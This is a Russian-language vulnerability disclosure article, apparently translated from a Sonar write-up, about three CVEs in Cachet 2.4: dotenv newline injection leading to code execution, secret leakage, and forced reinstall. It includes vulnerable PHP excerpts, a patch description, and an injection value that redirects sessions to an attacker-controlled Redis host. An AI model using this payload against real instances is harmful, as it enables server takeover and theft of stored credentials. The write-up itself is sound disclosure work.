Cachet 2.4: Исполнение кода через инъекцию конфигурации Laravel

Страницы статуса стали неотъемлемым сервисом, предлагаемым всеми компаниями, предоставляющими программное обеспечение как услугу. Чтобы способствовать их принятию, стартапы быстро разработали страницы статуса как услугу, и были доступны альтернативы с открытым исходным кодом для самостоятельного размещения. Cachet, иногда также называемый CachetHQ, является широко используемой системой страниц статуса, написанной на PHP, и имеет множество форков сообщества, таких как fiveai/Cachet

Поражение экземпляров Cachet выгодно для атакующих, поскольку они хранят секреты для различных служб, таких как кэши, базы данных, серверы электронной почты и т. д. Этот начальный плацдарм в инфраструктуре помогает им проникнуть в внутреннюю сеть пострадавшей компании и проводить дальнейшие атаки. В этой статье я представляю техническое исследование трех уязвимостей безопасности, которые моя команда и я обнаружили в Cachet 2.4. Они могут позволить злоумышленникам взломать сервер. 

Воздействие

Использование этих уязвимостей было проверено на последнем официальном релизе Cachet на тот момент (2.3.18), а также на ветке разработки (2.4). Злоумышленник, стремящийся использовать эти уязвимости, требуется иметь действительную учетную запись пользователя с базовыми привилегиями, сценарий, который может быть реалистично использован с помощью:

  • Использование stuffing учетных данных благодаря значительному количеству утечек учетных записей каждый год. 
  • A compromised or malicious user. 
  • Наличие уязвимости на стороне клиента на той же периферии. 
  • Использование CVE-2021-39165, предварительно аутентифицированной SQL-инъекции в Cachet, исправленной в январе 2021 года.

Уязвимость 1: CVE-2021-39172

Первая уязвимость (CVE-2021-39172) – это инъекция новой строки, которая происходит при обновлении конфигурации экземпляра, например, настроек электронной почты. Она позволяет атакующим вводить новые директивы и изменять поведение основных функций, что приводит к выполнению произвольного кода.

Следующее видео демонстрирует эксплуатацию этой уязвимости. Для демонстрации были выполнены несколько шагов вручную, но их могут автоматизировать атакующие:

Источник: Sonar YouTube

Уязвимость 2: CVE-2021-39174

Вторая уязвимость (CVE-2021-39174) также связана с этой функцией и позволяет атакующему извлекать секреты, хранящиеся в файле конфигурации, например, пароль SMTP-сервера, ключ шифрования приложения и т.д.

Уязвимость 3: CVE-2021-39173

Наконец, последняя ошибка (CVE-2021-39173) намного проще и позволяет проходить процесс настройки даже если экземпляр уже полностью настроен. Таким образом, атакующие могут обмануть экземпляр Cachet, заставив его использовать произвольную базу данных под их контролем, что в конечном итоге приводит к выполнению произвольного кода.

Патчи для этих трех уязвимостей доступны в релизе 2.5.1 форка FiveAI.

Технические Детали

В этом разделе я описываю технические детали каждой уязвимости и способы их устранения в последнем выпуске форка сообщества.

CVE-2021-39172: удаленное выполнение кода

Панель управления Cachet предоставляет несколько конфигурационных представлений (даже для неадминистративных пользователей) для изменения имени экземпляра, настроек почтового сервера и т. д. Прикладные постоянные настройки сохраняются в базе данных, а другие значения на уровне фреймворка непосредственно сохраняются в конфигурационном файле приложения. Фреймворк Laravel использует dotenv конфигурационные файлы, формат похож на то, как вы объявляете переменные окружения в сценарии оболочки. Их поддержка реализована в сторонней библиотеке здесь.

При изменении настроек поставщика электронной почты контроллер создает объект класса UpdateConfigCommand. Команды Laravel, в контексте командной шины, являются способом удаления прикладной специфической логики из контроллеров; они будут синхронно выполнены при вызове execute() на объекте. Это происходит на [1]:  

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
public function postMail()
{   
     $config = Binput::get('config');   
     execute(new UpdateConfigCommand($config));            // [1]    
     return cachet_redirect('dashboard.settings.mail')        
          ->withInput(Binput::all())       
          ->withSuccess(trans('dashboard.notifications.awesome')); 
}

Связанный обработчик UpdateConfigCommandHandler отвечает за выполнение изменений в существующем файле dotenv путем замены существующих записей на новые.

UpdateConfigCommandHandler может быть активирован кодом в двух различных местах:

  1. SetupController@postStep3: последний шаг процесса установки. Как только экземпляр установлен, этот код больше не может быть достигнут;
  2. SettingsController@postMail: при обновлении dotenv записей, связанных с почтовыми серверами.

Сначала он оценивает полный файл конфигурации для заполнения окружения процесса ([1]), определяет, уже ли определена директива обновления ([2]), и заменяет запись на ее новое значение ([3]):

app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php:

PHP

 

<?php
class UpdateConfigCommandHandler
{    
    // [...]    
    public function handle(UpdateConfigCommand $command)   
    {       
       foreach ($command->values as $setting => $value) {          
             $this->writeEnv($setting, $value);      
       }   
     }   
    // [...]   
    protected function writeEnv($key, $value)  
    {      
      $dir = app()->environmentPath();       
      $file = app()->environmentFile();       
      $path = "{$dir}/{$file}";        

      try {          
          (new Dotenv($dir, $file))->load();       // [1]              
          $envKey = strtoupper($key);          

          $envValue = env($envKey) ?: 'null';      // [2]           

         file_put_contents($path, str_replace(    // [3]              
              "{$envKey}={$envValue}",                        
              "{$envKey}={$value}",             
              file_get_contents($path)                   
         ));       
      } catch (InvalidPathException $e) {           
         throw $e;      
     }   
  } 
}

На входящие данные не выполняется проверка: если запись конфигурации уже существует, она будет заменена на значение, поступающее из параметра. Если злоумышленник предоставляет значение, содержащее новые строки, это создаст новые записи в файле dotenv и может изменить функциональность на уровне фреймворка.

Примечание: используется только первое определение переменной в файле dotenv; последующие будут проигнорированы.

На проектах Laravel этот примитив достаточен для достижения произвольного выполнения кода. Исходный файл конфигурации dotenv вероятно будет выглядеть следующим образом в большинстве экземпляров:

.env:

Shell

 

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

Нападающие могут заменить ключ CACHE_DRIVER и зарегистрировать сервер Redis под своим контролем в качестве нового бэкенда для сессий:

Shell

 

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

После отправки запроса, который устанавливает CACHE_DRIVER на это значение, файл dotenv будет выглядеть следующим образом:

.env:

Shell

 

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

Поскольку сессии Laravel сериализуются с использованием встроенного формата PHP, они анализируются с помощью функции unserialize(). Это известная уязвимость, которую можно использовать для выполнения произвольного кода с помощью последовательности специально созданных объектов, концепция которых называется “цепочками pop”. Инструмент PHPGGC может генерировать такие цепочки для проектов Laravel. 

Возможны и другие способы использования выполнения команд из новой строки инъекции в файле dotenv, но мы не проводили дальнейших исследований в этом направлении. Моя команда и я интересуемся, знает ли вас какие-либо другие методы!

CVE-2021-39174: Утечка конфигурации

Как я описывал в предыдущем разделе, можно иметь прямой доступ для чтения и записи к значениям, хранящимся в файле dotenv. Запись в этот файл в конечном итоге приводит к выполнению произвольного кода, но может ли это также быть использовано с учетом того, что значения этого файла отображаются в интерфейсе?

Документация по vlucas/phpdotenv описывает, что она поддерживает присваивание вложенных переменных: при объявлении переменной можно ссылаться на ранее объявленную с использованием синтаксиса ${NAME}.

Эта функция удобна: ссылаясь на другую переменную в записи файла конфигурации dotenv и отображая эту запись в интерфейсе, она раскрывает значение другой переменной. 

Уже широко документировано, что утечка APP_KEY приводит к выполнению кода, если драйвер сессии установлен на cookie, и эта примитивная возможность также может быть использована для утечки DB_PASSWORD и MAIL_PASSWORD для проведения дальнейших атак.

CVE-2021-39173: Принудительная переустановка

Страница настройки недоступна, если экземпляр уже установлен, как это реализовано в middleware. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

PHP

 

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // не настроено тогда!      
         }        
         
         return $next($request);   
  } 
}

Проверка основана исключительно на значении настройки: если оно не определено или пусто, middleware будет считать, что экземпляр установлен.

В случае, если вы задаётесь вопросом, что ещё может оцениваться как false, вот краткое руководство по системе типов в PHP при сравнениях до PHP 8. Сравнение может выполняться с использованием проверки равенства (==) или проверки идентичности (===). Проверки равенства подразумевают, что тип операндов не учитывается, и строки могут быть преобразованы в числа заранее. Это поведение было названо “переключением типов” и было использовано в различных реальных уязвимостях (CVE-2017-1001000, CVE-2019-10231). В случае вышеупомянутого сравнения любое значение, равное пустой строке или “0”, будет оцениваться как false и предоставит доступ к страницам настройки.

Значение app_name не проверяется при обновлении настроек в SettingsController@postSettings, на [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

Таким образом, аутентифицированный пользователь может обновить его до значения, оцениваемого как false, а затем получить доступ/настроить заново для переустановки экземпляра с новым аккаунтом администратора (повышение привилегий) или воспользоваться нашим первым находками и получить выполнение кода (помните, UpdateConfigCommandHandler также может быть использован из этого пути).

Патч

Уязвимость инъекции новой строки (CVE-2021-39172) была решена путём улучшения проверки входящих значений в UpdateConfigCommandHandler, отклоняя любые модификации, содержащие символы новой строки.

Баг утечки конфигурации (CVE-2021-39174) оказался более сложным для исправления, так как последнюю версию библиотеки dotenv не удалось импортировать из-за существующих зависимостей. Вместо этого был перенесён соответствующий код, позволяющий обработчику команд определять, содержит ли значение вложенную переменную.

Наконец, невозможно принудительно переустановить существующие экземпляры (CVE-2021-39173) благодаря улучшенным проверкам в затронутом middleware.

Хронология

DATE ACTION
2021-03-26 Issues reported by email to the official security disclosure address of the upstream project.
2021-06-25 We send the security issues and patches to the community-supported fork (fiveai/Cachet).
2021-08-27 Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174.

Краткий обзор

В данной статье я проанализировал три уязвимости в Cachet и продемонстрировал возможность захвата экземпляров с использованием только базовых разрешений пользователя с помощью файлов конфигурации Laravel. Также я описал примененные исправления со стороны разработчиков и то, как они предотвращают атаки, которые я представил.

Наконец, моя команда и я хотели бы поблагодарить разработчиков форка FiveAI Cachet за признание нашего обзора и своевременное и профессиональное устранение этих уязвимостей.

Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection